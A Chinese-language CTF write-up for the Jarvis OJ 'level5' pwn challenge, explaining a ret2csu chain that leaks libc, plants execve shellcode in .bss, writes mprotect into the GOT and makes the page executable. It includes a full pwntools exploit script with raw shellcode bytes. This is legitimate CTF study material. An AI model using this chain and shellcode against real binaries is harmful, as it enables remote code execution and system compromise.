jarvis oj level5
level5要求不用system和execve,而是用mprotect和mmap,查了一下,mmap主要是將檔案對映到一段記憶體去同時設定那段記憶體的屬性可讀可寫或者是可執行,mprotect函式是將從addr開始的地址 ,長度位len的記憶體的訪問許可權。毫無頭緒。查了網上大神的wp,才知道思路。
首先leak地址,shellcode寫入bss沒什麼好說的。
要說下為什麼要把bss和mprotect寫入got表
.text:0000000000400690 loc_400690: .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call qword ptr [r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn
是因為我們可以利用 __libc_csu_init中loc_4006A6處給這6個暫存器賦值,然後通過跳轉到loc_400690處給前三個暫存器賦值,同時還可以控制r12和rbx來控制400699處的call,使用其他地方的函式,完美。而call其他函式需要在got表中存有,可以新增在got表中空閒處。而像level1那樣直接修改返回地址則不需要新增進got表。
那麼把bss和mprotect新增got表後,我在payload5處卡了很久,一直理解不了,終於想通了。說一下理解:
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
這一句p64(0x4006A6)+"ret_addr"
是跳轉到6a6處,'ret_addr’是跳轉到其他地方時需要先將下一跳壓棧我們是模擬壓棧,然後後面的六個引數分別賦給rbx, rbp, r12,r13, r14,r15。
payload5 += p64(0x400690)+"ret_addr"
這句跳到690處,賦值給前三個引數暫存器,同時call [r12+rbx*8],我們令r12=mprotect_addr,rbx=0就可以呼叫mprotect,引數就是剛剛賦值的。呼叫完後,我們需要繼續執行到6a6處,因為shellcode還沒執行,我們需要改變r12的值,此時有
.text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690
因此我們上面將rbp賦為1,令rbx=rbp,就不會回到690處,而是向下執行。
payload5 += p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
這是向下執行的引數,不多說。
payload5 += p64(0x400690)
這裡跳到690處,執行shellcode。
下面放上指令碼:
from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
e = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
######### leak
write_plt = e.plt["write"]
write_got = e.got["write"]
vul_addr = e.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1
payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr)
p.recvline()
p.send(payload1)
tmp=p.recv(8)
write_addr=u64(tmp[0:8])
print hex(write_addr)
offset=write_addr-libc.symbols['write']
########### read shell code to bss
bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)
###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))
###########write mpro to got table
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))
########### jmp to __libc_csu_init to call shellcode
'''
.text:0000000000400690 loc_400690:
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
'''
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
p.recvline()
p.send(payload5)
sleep(5)
p.interactive()
還有點疑惑,變成互動輸入的時候需要等一會兒再輸入命令,要不就不顯示,不知道是為啥,所以加了sleep(5),存疑。